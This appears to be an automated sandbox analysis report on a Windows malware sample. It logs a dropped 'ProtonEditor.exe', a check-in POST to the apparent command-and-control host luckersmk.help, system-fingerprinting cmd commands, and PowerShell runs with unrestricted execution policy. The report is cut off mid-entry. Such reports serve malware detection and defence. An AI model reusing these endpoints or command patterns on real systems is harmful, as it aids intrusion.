                                                                                                                                                                                                                                                                2024-12-18 10:04:25 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0d 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                Data Ascii: wwwgstaticcomPc)


                                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                2192.168.2.549769172.64.41.34433948C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                2024-12-18 10:04:25 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                                                                                                                Host: chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                                Connection: keep-alive
                                                                                                                                                                                                                                                                Content-Length: 128
                                                                                                                                                                                                                                                                Accept: application/dns-message
                                                                                                                                                                                                                                                                Accept-Language: *
                                                                                                                                                                                                                                                                User-Agent: Chrome
                                                                                                                                                                                                                                                                Accept-Encoding: identity
                                                                                                                                                                                                                                                                Content-Type: application/dns-message
                                                                                                                                                                                                                                                                2024-12-18 10:04:25 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                Data Ascii: wwwgstaticcom)TP


                                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                3192.168.2.549989172.67.146.774438184C:\Users\user\AppData\Local\Temp\69564\Style.com
                                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                2024-12-18 10:06:47 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                Content-Length: 8
                                                                                                                                                                                                                                                                Host: luckersmk.help
                                                                                                                                                                                                                                                                2024-12-18 10:06:47 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                                Data Ascii: act=life
                                                                                                                                                                                                                                                                2024-12-18 10:06:48 UTC1043INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                Date: Wed, 18 Dec 2024 10:06:48 GMT
                                                                                                                                                                                                                                                                Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                                Set-Cookie: PHPSESSID=35m5vrk5tnp9idc5sgd0rosl9h; expires=Sun, 13-Apr-2025 03:53:26 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                Pragma: no-cache
                                                                                                                                                                                                                                                                cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                vary: accept-encoding
                                                                                                                                                                                                                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FLoVaDCKpDP3SUv9Zd6yLGj%2FOON4u8caAZkQEvgH53nbzQ%2FxKX%2FC6yOAUSr6w6V%2BLn%2BtUP5dHUWLhoSCLAlqHOY2N7IlFrRbYcqt3RBqE5Q%2FmcH7tsZmpY25e7vj9wNlNA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                Server: cloudflare
                                                                                                                                                                                                                                                                CF-RAY: 8f3e579a4992c411-EWR
                                                                                                                                                                                                                                                                alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1639&rtt_var=633&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1781574&cwnd=221&unsent_bytes=0&cid=997898b9c5853aab&ts=1978&x=0"
                                                                                                                                                                                                                                                                2024-12-18 10:06:48 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                                                Data Ascii: 2ok
                                                                                                                                                                                                                                                                2024-12-18 10:06:48 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                Data Ascii: 0


                                                                                                                                                                                                                                                                Statistics

                                                                                                                                                                                                                                                                CPU Usage

                                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                                Memory Usage

                                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                                                                                                                                Behavior

                                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                                System Behavior

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:0
                                                                                                                                                                                                                                                                Start time:05:03:46
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                                Commandline:"C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe"
                                                                                                                                                                                                                                                                Imagebase:0x400000
                                                                                                                                                                                                                                                                File size:64'889'808 bytes
                                                                                                                                                                                                                                                                MD5 hash:D1D6A581049DF18AC3B675230E04311B
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:3
                                                                                                                                                                                                                                                                Start time:05:04:09
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                Imagebase:0x7ff673320000
                                                                                                                                                                                                                                                                File size:160'112'640 bytes
                                                                                                                                                                                                                                                                MD5 hash:1CD5781EFBCF327826A48CD866800010
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                                                • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:6
                                                                                                                                                                                                                                                                Start time:05:04:12
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "chcp"
                                                                                                                                                                                                                                                                Imagebase:0x7ff673560000
                                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:7
                                                                                                                                                                                                                                                                Start time:05:04:12
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:8
                                                                                                                                                                                                                                                                Start time:05:04:12
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:chcp
                                                                                                                                                                                                                                                                Imagebase:0x7ff794fb0000
                                                                                                                                                                                                                                                                File size:14'848 bytes
                                                                                                                                                                                                                                                                MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:9
                                                                                                                                                                                                                                                                Start time:05:04:13
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1832 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                                                                                                                                Imagebase:0x7ff673320000
                                                                                                                                                                                                                                                                File size:160'112'640 bytes
                                                                                                                                                                                                                                                                MD5 hash:1CD5781EFBCF327826A48CD866800010
                                                                                                                                                                                                                                                                Has elevated privileges:false
                                                                                                                                                                                                                                                                Has administrator privileges:false
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:10
                                                                                                                                                                                                                                                                Start time:05:04:14
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                                                                                                                                                                Imagebase:0x7ff673320000
                                                                                                                                                                                                                                                                File size:160'112'640 bytes
                                                                                                                                                                                                                                                                MD5 hash:1CD5781EFBCF327826A48CD866800010
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:11
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
                                                                                                                                                                                                                                                                Imagebase:0x7ff673560000
                                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:12
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:13
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:14
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:15
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:16
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:17
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:18
                                                                                                                                                                                                                                                                Start time:05:04:15
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:19
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
                                                                                                                                                                                                                                                                Imagebase:0x7ff673560000
                                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:20
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:21
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
                                                                                                                                                                                                                                                                Imagebase:0x7ff6c7690000
                                                                                                                                                                                                                                                                File size:36'352 bytes
                                                                                                                                                                                                                                                                MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:22
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:23
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:24
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:25
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:26
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:27
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                                Target ID:28
                                                                                                                                                                                                                                                                Start time:05:04:20
                                                                                                                                                                                                                                                                Start date:18/12/2024
                                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                Imagebase:0x7ff7be880000
